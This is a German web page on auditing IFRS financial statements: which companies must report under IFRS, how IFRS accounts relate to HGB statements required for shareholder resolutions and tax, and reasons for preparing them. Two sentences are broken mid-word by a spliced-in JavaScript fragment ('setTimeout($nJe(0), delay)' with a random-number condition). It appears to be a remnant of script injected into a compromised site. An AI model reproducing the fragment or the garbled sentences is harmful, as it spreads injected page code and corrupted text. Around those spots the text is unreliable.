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Abschlussprüfung nach IFRS

Die Aufstellung von Jahresabschlüssen nach internationalen Rechnungslegungsnormen (IFRS) ist in Deutschlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and nicht sehr verbreitet. Die Aufstellungs- und Prüfungspflicht nach IFRS gilt nur für börsennotierte Gesellschaften aufgrund der Börsenzulassungsnormen.

IFRS wird vorwiegend für die Konzernrechnungslegung genutzt, um eine Vergleichbarkeit im internationalen Bereich zu gewährleisten. Ein nach IFRS aufgestellter und geprüfter Einzelabschluss ersetzt nicht den nach HGB aufzustellenden Jahresabschluss, so dass Unternehmen, die aufgrund ihrer Börsenzulassung hierzu verpflichtet sind, oder die freiwillig Abschlüsse nach IFRS aufstellen, auch einen Jahresabschluss nach HGB für das Einzelunternehmen aufzustellen haben, der der  Prüfungspflicht des HGB unterliegt.

Zu beachten ist, dass nur der nach HGB aufgestellte und geprüfte Abschluss für die Beschlussfassung der Gesellschafter (Feststellung des Jahresabschlusses, Gewinnverteilung, gesellschaftsrechtliche Kapitaländerungen und der Kapitalerhaltung etc.) und für steuerliche Belange von Bedeutung ist.

Die nach IFRS zu erteilenden Einzelangaben im Anhang erfordern rechnungslegungsbezogene Informationsprozesse, die für die Erstellung eines HGB-Abschlusses nicht notwendig sind. Dennoch können übergeordnete Gründe für die Erstellung und Abschlussprüfung eines IFRS Jahresabschlusses sprechen (Beispiele):

  • Planung eines Börsenganges, bzw. vorliegen einer Börsenzulassung
  • Aufstellung eines Konzernabschlusses unter Einbeziehung ausländischer Tochtergesellschaften
  • Übernahme der Gesellschaft durch ein nach IFRS bilanzierendes Unternehmen
  • Herstellung der bilanziellen Vergleichbarkeit mit andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderen, der Branche zugehörigen Unternehmen